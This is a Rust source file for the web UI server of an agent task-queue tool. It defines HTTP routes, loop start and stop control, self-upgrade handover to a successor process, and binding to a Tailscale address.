1use std::collections::{HashMap, HashSet};
94use std::convert::Infallible;
95use std::net::{IpAddr, Ipv4Addr, SocketAddr};
96use std::path::{Path as FsPath, PathBuf};
97use std::pin::Pin;
98use std::sync::{Arc, Mutex, MutexGuard, PoisonError};
99use std::time::Duration;
100use tokio::sync::Notify;
101
102use anyhow::{Context, Result};
103use axum::Json;
104use axum::Router;
105use axum::body::Bytes;
106use axum::extract::rejection::JsonRejection;
107use axum::extract::{DefaultBodyLimit, Path, Query, State};
108use axum::http::{HeaderMap, HeaderValue, StatusCode, header};
109use axum::response::sse::{Event, KeepAlive, Sse};
110use axum::response::{IntoResponse, Response};
111use axum::routing::{get, post, put};
112use jiff::Timestamp;
113use serde::{Deserialize, Serialize};
114use tokio_stream::StreamExt as _;
115use tokio_stream::wrappers::ReceiverStream;
116
117use crate::agent;
118use crate::ask::{self, Answer, Question, Questions};
119use crate::config::{AgentKind, Config, Update, UpdateMode};
120use crate::md;
121use crate::notices::{Notice, Notices};
122use crate::persona;
123use crate::proc::Quiet as _;
124use crate::queue::{Queue, Source, Task, TaskStatus, title_from};
125use crate::run::{RunState, RunStatus};
126use crate::talk::{Talk, Talks};
127use crate::{daemon, git, report, repos, run, settings, stats, talk, updater};
128
129pub const DEFAULT_PORT: u16 = 7878;
131
132const POLL: Duration = Duration::from_secs(1);
134
135const KEEPALIVE: Duration = Duration::from_secs(15);
139
140const UPDATE_RECHECK_POLL_MAX: Duration = Duration::from_secs(15 * 60);
151
152const UPDATE_RECHECK_POLL_MIN: Duration = Duration::from_secs(30);
155
156const LIST_DEFAULT: usize = 50;
160const LIST_MAX: usize = 500;
162
163const TITLE_MAX: usize = 72;
165
166const ATTACHMENT_MAX_BYTES: usize = 10 * 1024 * 1024;
175
176const ATTACHMENT_MIME_WHITELIST: [&str; 4] = ["image/png", "image/jpeg", "image/gif", "image/webp"];
182
183const FILENAME_HEADER: &str = "x-filename";
187
188const PANEL_CSP: &str = "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
211 font-src data:; base-uri 'none'; form-action 'none'; \
212 frame-ancestors 'self'";
213
214const INDEX_HTML: &str = include_str!("../assets/ui/index.html");
215const APP_CSS: &str = include_str!("../assets/ui/app.css");
216const APP_JS: &str = include_str!("../assets/ui/app.js");
217
218#[derive(Debug, Clone, Copy, PartialEq, Eq)]
220pub enum Bind {
221 Auto,
223 Addr(IpAddr),
225}
226
227impl std::str::FromStr for Bind {
228 type Err = String;
229
230 fn from_str(s: &str) -> std::result::Result<Self, Self::Err> {
234 if s.eq_ignore_ascii_case("auto") {
235 return Ok(Self::Auto);
236 }
237 s.parse()
238 .map(Self::Addr)
239 .map_err(|_| format!("expected `auto` or an IP address, got `{s}`"))
240 }
241}
242
243impl std::fmt::Display for Bind {
244 fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
245 match self {
246 Self::Auto => f.write_str("auto"),
247 Self::Addr(addr) => write!(f, "{addr}"),
248 }
249 }
250}
251
252#[derive(Debug, Clone)]
254pub struct Opts {
255 pub bind: Bind,
257 pub port: u16,
259 pub repo: PathBuf,
261 pub open: bool,
264 pub merge: Option<String>,
272}
273
274impl Default for Opts {
275 fn default() -> Self {
276 Self {
277 bind: Bind::Auto,
278 port: DEFAULT_PORT,
279 repo: PathBuf::from("."),
280 open: false,
281 merge: None,
282 }
283 }
284}
285
286#[derive(Debug, Clone)]
292pub struct Ui {
293 queue: Queue,
294 questions: Questions,
295 notices: Notices,
298 talks: Talks,
299 runs: PathBuf,
300 home: PathBuf,
301 repo: PathBuf,
302 worktrees_root: PathBuf,
309 talk_turns: Arc<Mutex<TalkTurns>>,
317 upgrade_gate: Arc<tokio::sync::Mutex<()>>,
321 upgrade_spawned: Arc<std::sync::atomic::AtomicBool>,
324 resuming: Arc<Mutex<HashSet<String>>>,
332 repos_cache: repos::Cache,
336 machine_config: Option<PathBuf>,
340 merge: Option<String>,
342 looping: Arc<Mutex<LoopState>>,
344 launch: Launch,
356 #[cfg(test)]
359 busy_queue_gate: Arc<Mutex<Option<BusyQueueGate>>>,
360}
361
362#[cfg(test)]
382struct BusyQueueGate {
383 reached: tokio::sync::oneshot::Sender<()>,
384 release: std::sync::mpsc::Receiver<()>,
385}
386
387#[cfg(test)]
388impl std::fmt::Debug for BusyQueueGate {
389 fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
390 f.debug_struct("BusyQueueGate").finish_non_exhaustive()
391 }
392}
393
394impl Ui {
395 pub fn new(
397 queue: Queue,
398 questions: Questions,
399 talks: Talks,
400 runs: PathBuf,
401 home: PathBuf,
402 repo: PathBuf,
403 ) -> Self {
404 Self {
405 queue,
406 questions,
407 notices: Notices::at(home.join("notifications")),
408 talks,
409 runs,
410 home,
411 repo,
412 worktrees_root: run::default_worktree_root(),
416 talk_turns: Arc::default(),
417 upgrade_gate: Arc::default(),
418 upgrade_spawned: Arc::default(),
419 resuming: Arc::default(),
420 repos_cache: repos::Cache::new(),
421 machine_config: Config::machine_layer(),
422 merge: None,
423 looping: Arc::default(),
424 launch: launch_daemon,
425 #[cfg(test)]
426 busy_queue_gate: Arc::default(),
427 }
428 }
429
430 pub fn open(repo: PathBuf) -> Self {
433 Self::new(
434 Queue::open(),
435 Questions::open(),
436 Talks::open(),
437 run::runs_root(),
438 run::home(),
439 repo,
440 )
441 }
442
443 #[must_use]
450 pub fn with_merge(mut self, merge: Option<String>) -> Self {
451 self.merge = merge;
452 self
453 }
454
455 #[cfg(test)]
458 #[must_use]
459 fn with_machine_config(mut self, path: Option<PathBuf>) -> Self {
460 self.machine_config = path;
461 self
462 }
463
464 #[must_use]
469 pub fn with_worktrees_root(mut self, root: PathBuf) -> Self {
470 self.worktrees_root = root;
471 self
472 }
473
474 #[cfg(test)]
479 #[must_use]
480 fn with_launch(mut self, launch: Launch) -> Self {
481 self.launch = launch;
482 self
483 }
484
485 #[cfg(test)]
495 fn set_busy_queue_gate(&self, gate: BusyQueueGate) {
496 *self
497 .busy_queue_gate
498 .lock()
499 .unwrap_or_else(PoisonError::into_inner) = Some(gate);
500 }
501
502 fn looping(&self) -> Arc<Mutex<LoopState>> {
504 Arc::clone(&self.looping)
505 }
506
507 fn start_loop(&self, foreign: Option<Foreign>) -> ApiResult<()> {
514 if let Some(other) = foreign {
515 return Err(ApiError::conflict(format!(
516 "{} is already running the loop, so this one will not start a \
517 second: two loops on one queue race for the same claims and \
518 burn the agent quota twice over. Stop it where it was \
519 started.",
520 other.who()
521 )));
522 }
523 let mut state = self.lock_loop();
524 if state.live.as_ref().is_some_and(Live::alive) {
525 return Err(ApiError::conflict(format!(
526 "this magi web process (pid {}) is already running the loop",
527 std::process::id()
528 )));
529 }
530
531 let stop = daemon::Stop::new();
532 let opts = daemon::Opts {
536 repo: self.repo.clone(),
537 merge: self.merge.clone(),
538 worktrees_root: Some(self.worktrees_root.clone()),
545 ..daemon::Opts::default()
546 };
547 let launch = self.launch;
548 let looping = Arc::clone(&self.looping);
549 let handle = tokio::spawn({
550 let opts = opts.clone();
551 let stop = stop.clone();
552 async move {
553 let failure = match launch(opts, stop).await {
554 Ok(()) => None,
555 Err(e) => Some(format!("{e:#}")),
556 };
557 match &failure {
558 Some(why) => tracing::error!("the loop stopped: {why}"),
559 None => tracing::info!("the loop stopped"),
560 }
561 let mut state = lock_or_recover(&looping);
567 state.live = None;
568 state.last_error = failure;
569 state.rev += 1;
570 }
571 });
572 tracing::info!(
573 "the loop is now running in this process: repo {}, merge {}",
574 opts.repo.display(),
575 opts.merge.as_deref().unwrap_or("as the config says")
576 );
577 state.live = Some(Live { stop, handle, opts });
578 state.last_error = None;
581 state.rev += 1;
582 Ok(())
583 }
584
585 fn stop_loop(&self, foreign: Option<Foreign>, park: bool) -> ApiResult<()> {
591 if let Some(other) = foreign {
592 return Err(ApiError::conflict(format!(
593 "the loop belongs to {}, and this process cannot stop it - \
594 stop it where it was started. A button that silently did \
595 nothing would be worse than this refusal.",
596 other.who()
597 )));
598 }
599 let mut state = self.lock_loop();
600 if !park {
603 state.resume_after_handover = false;
604 }
605 let Some(live) = state.live.as_ref() else {
606 return Ok(());
607 };
608 if live.stop.stopped() && (!park || live.stop.parking()) {
612 return Ok(());
613 }
614 if park {
615 live.stop.park();
616 tracing::info!("the loop was asked to park; the run stops at its next node boundary");
617 } else {
618 live.stop.stop();
619 tracing::info!("the loop was asked to stop; a run in flight is finished first");
620 }
621 state.rev += 1;
622 Ok(())
623 }
624
625 fn loop_view(&self, reading: Option<daemon::Reading>) -> LoopView {
632 let state = self.lock_loop();
633 let live = state.live.as_ref().filter(|live| live.alive());
636 LoopView {
637 running: live.is_some(),
638 stopping: live.is_some_and(|live| live.stop.finishing()),
639 parking: live.is_some_and(|live| live.stop.parking()),
640 owned: live.is_some(),
641 repo: live
642 .map_or(&self.repo, |live| &live.opts.repo)
643 .display()
644 .to_string(),
645 merge: live.map_or_else(|| self.merge.clone(), |live| live.opts.merge.clone()),
646 last_error: state.last_error.clone(),
647 daemon: DaemonView::of(reading),
648 }
649 }
650
651 fn resume_after_handover(&self, resume: bool) -> bool {
657 if !resume {
658 return false;
659 }
660 let foreign = Foreign::of(daemon::read_status(&self.home).as_ref());
661 match self.start_loop(foreign) {
662 Ok(()) => true,
663 Err(e) => {
664 let why = format!(
665 "the loop could not be resumed after the upgrade: {}",
666 e.message
667 );
668 tracing::warn!("{why}");
669 let mut state = self.lock_loop();
670 state.last_error = Some(why);
671 state.rev += 1;
672 false
673 }
674 }
675 }
676
677 fn lock_loop(&self) -> MutexGuard<'_, LoopState> {
679 lock_or_recover(&self.looping)
680 }
681
682 fn is_thinking(&self, id: &str) -> bool {
688 self.talk_turns
689 .lock()
690 .is_ok_and(|turns| turns.live.contains(id))
691 || self.talks.turn_held(id)
694 }
695
696 fn begin_talk_turn(&self, id: &str) -> ApiResult<Option<TalkTurnGuard>> {
715 self.claim_talk_turn(id, false)
716 }
717
718 fn begin_queued_talk_turn(&self, id: &str) -> ApiResult<Option<TalkTurnGuard>> {
721 self.claim_talk_turn(id, true)
722 }
723
724 fn claim_talk_turn(&self, id: &str, queued: bool) -> ApiResult<Option<TalkTurnGuard>> {
725 let mut live = self
726 .talk_turns
727 .lock()
728 .map_err(|_| ApiError::internal("the talk turn lock was poisoned"))?;
729 let inserted = live.live.insert(id.to_owned());
730 let lease = if inserted {
734 match self.talks.claim_turn(id) {
735 Ok(Some(lease)) => Some(lease),
736 Ok(None) => {
737 live.live.remove(id);
738 None
739 }
740 Err(e) => {
741 live.live.remove(id);
742 return Err(ApiError::from(e));
743 }
744 }
745 } else {
746 None
747 };
748 if lease.is_none() {
749 if queued {
750 *live.queued.entry(id.to_owned()).or_default() += 1;
755 }
756 return Ok(None);
757 }
758 Ok(Some(TalkTurnGuard {
759 talk: id.to_owned(),
760 turns: Arc::clone(&self.talk_turns),
761 released: false,
762 lease,
763 }))
764 }
765
766 fn begin_talk_turn_unless_pending(&self, id: &str) -> ApiResult<TalkTurnStart> {
771 let mut live = self
772 .talk_turns
773 .lock()
774 .map_err(|_| ApiError::internal("the talk turn lock was poisoned"))?;
775 if live.live.contains(id) {
776 return Ok(TalkTurnStart::Busy);
777 }
778 let Some(lease) = self.talks.claim_turn(id).map_err(ApiError::from)? else {
779 return Ok(TalkTurnStart::Foreign);
780 };
781 let talk = self.talks.get(id).map_err(ApiError::from)?;
783 if !talk.pending.is_empty() || !talk.pending_attachments.is_empty() {
784 return Ok(TalkTurnStart::Pending);
785 }
786 live.live.insert(id.to_owned());
787 Ok(TalkTurnStart::Claimed(TalkTurnGuard {
788 talk: id.to_owned(),
789 turns: Arc::clone(&self.talk_turns),
790 released: false,
791 lease: Some(lease),
792 }))
793 }
794
795 fn park_for_upgrade(&self) -> ApiResult<Option<String>> {
802 let parking = {
803 let mut state = self.lock_loop();
804 let resume = state.resume_after_handover
814 || state
815 .live
816 .as_ref()
817 .is_some_and(|live| live.alive() && !live.stop.stopped());
818 state.resume_after_handover = resume;
819 let Some(live) = state.live.as_ref() else {
820 return Ok(None);
821 };
822 let busy = live.stop.busy_now();
823 live.stop.park();
824 state.rev += 1;
825 busy
826 };
827 Ok(if parking {
828 daemon::current_work(&self.home, jiff::Timestamp::now())
833 .into_iter()
834 .next()
835 .map(|c| c.run)
836 } else {
837 None
838 })
839 }
840
841 fn begin_resume(&self, id: &str) -> ApiResult<ResumeGuard> {
845 let mut live = self
846 .resuming
847 .lock()
848 .map_err(|_| ApiError::internal("the resume lock was poisoned"))?;
849 if !live.insert(id.to_owned()) {
850 return Err(ApiError::conflict(format!(
851 "run {id} is already being resumed"
852 )));
853 }
854 Ok(ResumeGuard {
855 run: id.to_owned(),
856 resuming: Arc::clone(&self.resuming),
857 })
858 }
859
860 pub fn router(self) -> Router {
868 Router::new()
869 .route("/", get(index))
870 .route("/app.css", get(app_css))
871 .route("/app.js", get(app_js))
872 .route("/api/health", get(health))
873 .route("/api/loop", get(loop_get).post(loop_post))
874 .route("/api/upgrade", post(upgrade_post))
875 .route("/api/runs", get(runs_list))
876 .route("/api/runs/{id}", get(run_detail).delete(run_delete))
877 .route("/api/runs/{id}/report", get(run_report))
878 .route("/api/runs/{id}/report.json", get(run_report_json))
879 .route("/api/runs/{id}/fold", post(run_fold))
880 .route("/api/runs/{id}/fold-merged", post(run_fold_merged))
881 .route("/api/runs/{id}/resume", post(run_resume))
882 .route("/api/queue", get(queue_list))
883 .route("/api/search", get(search_get))
884 .route("/api/queue/{id}", get(task_detail).delete(queue_delete))
885 .route("/api/stats", get(stats_get))
886 .route("/api/repos", get(repos_list))
887 .route("/api/settings", get(settings_get))
888 .route("/api/settings/roles", put(settings_put_roles))
889 .route("/api/queue/{id}/hold", post(queue_hold))
890 .route("/api/queue/{id}/release", post(queue_release))
891 .route("/api/queue/{id}/priority", post(queue_priority))
892 .route("/api/queue/{id}/edit", post(queue_edit))
893 .route("/api/queue/{id}/done", post(queue_done))
894 .route("/api/questions", get(questions_list))
895 .route("/api/questions/{id}/answer", post(question_answer))
896 .route("/api/questions/{id}/say", post(question_say))
897 .route("/api/questions/{id}/consult", post(question_consult))
898 .route("/api/questions/{id}/panel", get(question_panel))
899 .route("/api/questions/{id}/panel/index.html", get(question_panel))
907 .route("/api/questions/{id}/panel/{name}", get(question_asset))
908 .route("/api/questions/{id}/asset/{name}", get(question_asset))
909 .route("/api/notifications", get(notifications_list))
910 .route("/api/notifications/read-all", post(notifications_read_all))
911 .route("/api/notifications/{id}/read", post(notification_read))
912 .route(
913 "/api/notifications/{id}/dismiss",
914 post(notification_dismiss),
915 )
916 .route("/api/talks", get(talks_list).post(talk_post))
917 .route("/api/talks/{id}", get(talk_detail).delete(talk_delete))
918 .route("/api/talks/{id}/say", post(talk_say))
919 .route("/api/talks/{id}/pending/resume", post(talk_pending_resume))
920 .route("/api/talks/{id}/pending/clear", post(talk_pending_clear))
921 .route("/api/talks/{id}/pending/edit", post(talk_pending_edit))
922 .route("/api/talks/{id}/agent", post(talk_agent))
923 .route("/api/talks/{id}/persona", post(talk_persona))
924 .route("/api/talks/{id}/close", post(talk_close))
925 .route("/api/talks/{id}/reopen", post(talk_reopen))
926 .route(
932 "/api/talks/{id}/attachments",
933 post(talk_attachment_post).layer(DefaultBodyLimit::max(ATTACHMENT_MAX_BYTES + 1)),
934 )
935 .route(
936 "/api/talks/{id}/attachments/{att}",
937 get(talk_attachment_get),
938 )
939 .route("/api/events", get(events))
940 .with_state(Arc::new(self))
941 }
942}
943
944#[derive(Debug)]
950struct TalkTurnGuard {
951 talk: String,
952 turns: Arc<Mutex<TalkTurns>>,
953 released: bool,
954 lease: Option<crate::talk::TurnLease>,
956}
957
958#[derive(Debug, Default)]
965struct TalkTurns {
966 live: HashSet<String>,
967 queued: HashMap<String, u64>,
968}
969
970enum TalkTurnStart {
973 Claimed(TalkTurnGuard),
974 Busy,
975 Foreign,
978 Pending,
979}
980
981impl TalkTurnGuard {
982 fn owns(&self) -> bool {
986 self.lease
987 .as_ref()
988 .is_none_or(|lease| !matches!(lease.beat(), Ok(false)))
989 }
990
991 async fn respond(
994 &self,
995 talk: &mut Talk,
996 talks: &Talks,
997 cfg: &Config,
998 text: &str,
999 ) -> anyhow::Result<()> {
1000 let lease = self
1001 .lease
1002 .as_ref()
1003 .context("the turn guard no longer holds its lease")?;
1004 talk::respond(lease, talk, talks, cfg, text).await
1005 }
1006
1007 fn release(mut self, live: &mut TalkTurns) {
1010 live.live.remove(&self.talk);
1011 live.queued.remove(&self.talk);
1012 self.lease = None;
1013 self.released = true;
1014 }
1015}
1016
1017impl Drop for TalkTurnGuard {
1018 fn drop(&mut self) {
1019 if self.released {
1020 return;
1021 }
1022 if let Ok(mut live) = self.turns.lock() {
1023 live.live.remove(&self.talk);
1024 live.queued.remove(&self.talk);
1025 }
1026 }
1027}
1028
1029struct ResumeGuard {
1031 run: String,
1032 resuming: Arc<Mutex<HashSet<String>>>,
1033}
1034
1035impl Drop for ResumeGuard {
1036 fn drop(&mut self) {
1037 if let Ok(mut live) = self.resuming.lock() {
1038 live.remove(&self.run);
1039 }
1040 }
1041}
1042
1043async fn bind_waiting(socket: SocketAddr) -> Result<tokio::net::TcpListener> {
1053 const WINDOW: Duration = Duration::from_secs(10);
1054 const GAP: Duration = Duration::from_millis(250);
1055
1056 let deadline = std::time::Instant::now() + WINDOW;
1057 let mut said = false;
1058 loop {
1059 match tokio::net::TcpListener::bind(socket).await {
1060 Ok(listener) => return Ok(listener),
1061 Err(e)
1062 if e.kind() == std::io::ErrorKind::AddrInUse
1063 && std::time::Instant::now() < deadline =>
1064 {
1065 if !said {
1066 said = true;
1067 tracing::info!(
1068 "{socket} is still held - waiting up to {}s for it, \
1069 which is what a restart looks like from here",
1070 WINDOW.as_secs()
1071 );
1072 }
1073 tokio::time::sleep(GAP).await;
1074 }
1075 Err(e) => return Err(e).with_context(|| format!("bind {socket}")),
1076 }
1077 }
1078}
1079
1080static HANDOVER: std::sync::LazyLock<Notify> = std::sync::LazyLock::new(Notify::new);
1083
1084const RESUME_LOOP_ENV: &str = "MAGI_WEB_RESUME_LOOP";
1086
1087fn resume_requested(value: Option<std::ffi::OsString>) -> bool {
1089 value.is_some_and(|v| v == "1")
1090}
1091
1092fn spawn_successor(home: &FsPath, resume: bool) -> Result<u32> {
1115 let exe = std::env::current_exe().context("find this binary")?;
1116 let args: Vec<String> = std::env::args().skip(1).collect();
1117 updater::log_step(
1118 home,
1119 &format!("restarting: {} {}", exe.display(), args.join(" ")),
1120 );
1121 let log_path = home.join(WEB_LOG);
1122 let open_log = || {
1123 std::fs::create_dir_all(home)?;
1124 std::fs::OpenOptions::new()
1125 .create(true)
1126 .append(true)
1127 .open(&log_path)
1128 };
1129 let (out, err) = match open_log().and_then(|f| Ok((f.try_clone()?, f))) {
1130 Ok(pair) => (
1131 std::process::Stdio::from(pair.0),
1132 std::process::Stdio::from(pair.1),
1133 ),
1134 Err(e) => {
1135 updater::log_warn(
1136 home,
1137 &format!(
1138 "could not open {}: {e}; the successor logs nowhere",
1139 log_path.display()
1140 ),
1141 );
1142 (std::process::Stdio::null(), std::process::Stdio::null())
1143 }
1144 };
1145
1146 let mut cmd = std::process::Command::new(&exe);
1147 if resume {
1148 cmd.env(RESUME_LOOP_ENV, "1");
1149 } else {
1150 cmd.env_remove(RESUME_LOOP_ENV);
1151 }
1152 cmd.args(&args)
1153 .stdin(std::process::Stdio::null())
1154 .stdout(out)
1155 .stderr(err);
1156 #[cfg(windows)]
1157 {
1158 use std::os::windows::process::CommandExt as _;
1159 cmd.creation_flags(0x0000_0008 | 0x0000_0200);
1162 }
1163 let child = cmd.spawn().context("start the successor")?;
1164 Ok(child.id())
1165}
1166
1167const WEB_LOG: &str = "web.log";
1169
1170async fn wait_for_handover(signal: &Notify) {
1174 signal.notified().await;
1175}
1176
1177pub async fn serve(opts: Opts) -> Result<()> {
1202 let (addr, warning) = resolve_bind(&opts.bind);
1203 if let Some(warning) = warning {
1204 tracing::warn!("{warning}");
1205 }
1206
1207 report::set_color(false);
1213
1214 let repo = normalize_default_repo(opts.repo).await;
1215 let ui = Ui::open(repo).with_merge(opts.merge);
1216 let home = ui.home.clone();
1221 let repo = ui.repo.clone();
1222 updater::reconcile_after_restart(&home);
1227 updater::log_step(
1228 &home,
1229 &format!(
1230 "web process started (version {}); handover log {}, successor output {}",
1231 env!("CARGO_PKG_VERSION"),
1232 updater::log_path(&home).display(),
1233 home.join(WEB_LOG).display()
1234 ),
1235 );
1236 updater::spawn_watchdog(home.clone());
1237 tokio::spawn(run_update_recheck(repo, home.clone()));
1246 let looping = ui.looping();
1247 let socket = SocketAddr::new(addr, opts.port);
1248 let listener = bind_waiting(socket).await?;
1249 let url = format!("http://{addr}:{}", opts.port);
1250 tracing::info!(
1251 "magi web UI on {url} - there is no authentication, so anyone who can \
1252 reach this address can file and hold tasks: the tailnet is the \
1253 security boundary"
1254 );
1255 if ui.resume_after_handover(resume_requested(std::env::var_os(RESUME_LOOP_ENV))) {
1256 tracing::info!("resumed the loop the predecessor was running");
1257 } else {
1258 tracing::info!(
1259 "the queue loop is not running yet - start it from the UI, which is \
1260 the whole reason this process can: nothing in the queue moves until \
1261 something is running the loop"
1262 );
1263 }
1264 if opts.open {
1265 println!("{url}");
1269 }
1270
1271 let mut served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
1274 let interrupted = async {
1275 if tokio::signal::ctrl_c().await.is_err() {
1276 std::future::pending::<()>().await;
1281 }
1282 };
1283 let handover = wait_for_handover(&HANDOVER);
1284 let outcome = tokio::select! {
1285 joined = &mut served => match joined {
1286 Ok(outcome) => outcome.context("serve the web UI"),
1287 Err(e) => Err(e).context("the task serving the web UI ended"),
1288 },
1289 () = interrupted => {
1290 tracing::info!("shutting down the web UI");
1291 finish_loop(&home, &looping, None).await;
1292 Ok(())
1293 }
1294 () = handover => {
1295 updater::log_step(&home, "serve: the select! woke on the handover signal");
1296 let successor_home = home.clone();
1297 hand_over(&home, &looping, served, move |resume| {
1298 spawn_successor(&successor_home, resume)
1299 })
1300 .await
1301 }
1302 };
1303 updater::log_step(
1304 &home,
1305 &match &outcome {
1306 Ok(()) => "serve: returning Ok; the process should exit now".to_owned(),
1307 Err(e) => format!("serve: returning an error: {e:#}"),
1308 },
1309 );
1310 outcome
1311}
1312
1313async fn normalize_default_repo(repo: PathBuf) -> PathBuf {
1334 if repo != FsPath::new(".") {
1335 return repo;
1336 }
1337 let Ok(canonical) = repo.canonicalize() else {
1338 return repo;
1339 };
1340 if git::toplevel(&canonical).await.is_ok() {
1341 return repo;
1342 }
1343 let Some(home) = dirs::home_dir() else {
1344 return repo;
1345 };
1346 match repos::discover_verified(&home, &[], None, updater::repo_name()).await {
1347 Some(found) => {
1348 tracing::info!(
1349 "the default --repo `.` ({}) is not a git checkout; using {} instead - {}",
1350 canonical.display(),
1351 found.path.display(),
1352 found.reason,
1353 );
1354 found.path
1355 }
1356 None => repo,
1357 }
1358}
1359
1360async fn hand_over(
1390 home: &FsPath,
1391 looping: &Mutex<LoopState>,
1392 served: tokio::task::JoinHandle<std::io::Result<()>>,
1393 successor: impl FnOnce(bool) -> Result<u32>,
1394) -> Result<()> {
1395 updater::log_step(home, "hand_over: entered; writing the parking stage");
1396 let (mut lease, recorded) = updater::LeaseGuard::enter_parking(home);
1400 if !recorded {
1401 updater::log_warn(
1402 home,
1403 "hand_over: upgrade.json is unreadable; no parking stage",
1404 );
1405 }
1406 finish_loop(home, looping, Some(&mut lease)).await;
1407 drop(lease);
1408 updater::log_step(home, "hand_over: releasing the listener (abort and await)");
1409 served.abort();
1410 let _ = served.await;
1411 updater::log_step(home, "hand_over: listener released");
1412 let resume = lock_or_recover(looping).resume_after_handover;
1415 match updater::read_progress(home) {
1416 Some(mut progress) => {
1417 progress.advance(updater::Stage::Restarting);
1418 updater::write_progress_logged(home, &progress);
1419 }
1420 None => updater::log_warn(
1421 home,
1422 "hand_over: upgrade.json is unreadable; no restarting stage",
1423 ),
1424 }
1425 updater::log_step(
1426 home,
1427 &format!("hand_over: starting the successor (resume={resume})"),
1428 );
1429 match successor(resume) {
1430 Ok(pid) => {
1431 updater::log_step(home, &format!("hand_over: successor started, pid {pid}"));
1432 Ok(())
1433 }
1434 Err(e) => {
1435 updater::log_warn(
1436 home,
1437 &format!("hand_over: the successor did not start: {e:#}"),
1438 );
1439 Err(e)
1440 }
1441 }
1442}
1443
1444const LEASE_BEAT: Duration = Duration::from_secs(20);
1447
1448async fn finish_loop(
1455 home: &FsPath,
1456 state: &Mutex<LoopState>,
1457 mut lease: Option<&mut updater::LeaseGuard>,
1458) {
1459 let live = lock_or_recover(state).live.take();
1460 let Some(live) = live else {
1461 updater::log_step(home, "finish_loop: no loop running; nothing to wait for");
1462 return;
1463 };
1464 live.stop.stop();
1465 lock_or_recover(state).rev += 1;
1466 updater::log_step(
1467 home,
1468 "finish_loop: waiting for the loop to finish the run in flight",
1469 );
1470 let waited = std::time::Instant::now();
1471 let mut handle = live.handle;
1474 let mut beat = tokio::time::interval(LEASE_BEAT);
1475 loop {
1476 tokio::select! {
1477 _ = &mut handle => break,
1478 _ = beat.tick() => {
1479 if let Some(lease) = lease.as_deref_mut() {
1480 lease.beat();
1481 }
1482 }
1483 }
1484 }
1485 updater::log_step(
1486 home,
1487 &format!(
1488 "finish_loop: the loop ended after {:.1}s",
1489 waited.elapsed().as_secs_f32()
1490 ),
1491 );
1492}
1493
1494pub fn resolve_bind(bind: &Bind) -> (IpAddr, Option<String>) {
1500 match bind {
1501 Bind::Addr(addr) => (*addr, None),
1502 Bind::Auto => match tailscale_ip() {
1503 Ok(ip) => (IpAddr::V4(ip), None),
1504 Err(why) => (
1505 IpAddr::V4(Ipv4Addr::LOCALHOST),
1506 Some(format!(
1507 "--bind auto fell back to 127.0.0.1: {why}. The UI is \
1508 local-only and a phone cannot reach it; start Tailscale \
1509 or pass --bind <addr>"
1510 )),
1511 ),
1512 },
1513 }
1514}
1515
1516fn tailscale_ip() -> std::result::Result<Ipv4Addr, String> {
1524 let out = std::process::Command::new("tailscale")
1525 .args(["ip", "-4"])
1526 .quiet()
1527 .output()
1528 .map_err(|e| format!("could not run `tailscale ip -4` ({e})"))?;
1529 if !out.status.success() {
1530 let why = String::from_utf8_lossy(&out.stderr);
1531 let why = why.trim();
1532 return Err(format!(
1533 "`tailscale ip -4` failed ({}){}",
1534 out.status,
1535 if why.is_empty() {
1536 String::new()
1537 } else {
1538 format!(": {why}")
1539 }
1540 ));
1541 }
1542 String::from_utf8_lossy(&out.stdout)
1543 .lines()
1544 .filter_map(|line| line.trim().parse::<Ipv4Addr>().ok())
1545 .find(is_tailnet)
1546 .ok_or_else(|| "`tailscale ip -4` printed no address in 100.64.0.0/10".to_owned())
1547}
1548
1549fn is_tailnet(ip: &Ipv4Addr) -> bool {
1551 let o = ip.octets();
1552 o[0] == 100 && (64..=127).contains(&o[1])
1553}
1554
1555type ApiResult<T> = std::result::Result<T, ApiError>;
1559
1560#[derive(Debug)]
1562struct ApiError {
1563 status: StatusCode,
1564 message: String,
1565}
1566
1567impl ApiError {
1568 fn bad_request(message: impl Into<String>) -> Self {
1570 Self {
1571 status: StatusCode::BAD_REQUEST,
1572 message: message.into(),
1573 }
1574 }
1575
1576 fn not_found(message: impl Into<String>) -> Self {
1578 Self {
1579 status: StatusCode::NOT_FOUND,
1580 message: message.into(),
1581 }
1582 }
1583
1584 fn with_status(mut self, status: StatusCode) -> Self {
1587 self.status = status;
1588 self
1589 }
1590
1591 fn bad_request_from(e: anyhow::Error) -> Self {
1595 Self::bad_request(format!("{e:#}"))
1596 }
1597
1598 fn conflict(message: impl Into<String>) -> Self {
1599 Self {
1600 status: StatusCode::CONFLICT,
1601 message: message.into(),
1602 }
1603 }
1604
1605 fn internal(message: impl Into<String>) -> Self {
1607 Self {
1608 status: StatusCode::INTERNAL_SERVER_ERROR,
1609 message: message.into(),
1610 }
1611 }
1612}
1613
1614impl From<anyhow::Error> for ApiError {
1615 fn from(e: anyhow::Error) -> Self {
1620 Self::internal(format!("{e:#}"))
1621 }
1622}
1623
1624impl IntoResponse for ApiError {
1625 fn into_response(self) -> Response {
1626 let body = serde_json::json!({ "error": self.message });
1627 (self.status, Json(body)).into_response()
1628 }
1629}
1630
1631async fn blocking<T>(job: impl FnOnce() -> ApiResult<T> + Send + 'static) -> ApiResult<T>
1640where
1641 T: Send + 'static,
1642{
1643 match tokio::task::spawn_blocking(job).await {
1644 Ok(result) => result,
1645 Err(e) => Err(ApiError::internal(format!("filesystem task failed: {e}"))),
1646 }
1647}
1648
1649const ASSET_CACHE: &str = "no-cache, must-revalidate";
1667
1668fn asset_etag() -> &'static str {
1675 static TAG: std::sync::LazyLock<String> = std::sync::LazyLock::new(|| {
1676 format!(
1677 "\"{}-{}\"",
1678 env!("CARGO_PKG_VERSION"),
1679 INDEX_HTML.len() + APP_CSS.len() + APP_JS.len()
1684 )
1685 });
1686 &TAG
1687}
1688
1689fn asset_headers(mime: &'static str) -> [(header::HeaderName, &'static str); 3] {
1691 [
1692 (header::CONTENT_TYPE, mime),
1693 (header::CACHE_CONTROL, ASSET_CACHE),
1694 (header::ETAG, asset_etag()),
1695 ]
1696}
1697
1698fn asset(headers: &header::HeaderMap, mime: &'static str, body: &'static str) -> Response {
1706 let tag = asset_etag();
1707 let known = headers
1708 .get(header::IF_NONE_MATCH)
1709 .and_then(|v| v.to_str().ok())
1710 .is_some_and(|sent| sent.split(',').any(|one| one.trim().ends_with(tag)));
1714 if known {
1715 return (StatusCode::NOT_MODIFIED, asset_headers(mime)).into_response();
1716 }
1717 (asset_headers(mime), body).into_response()
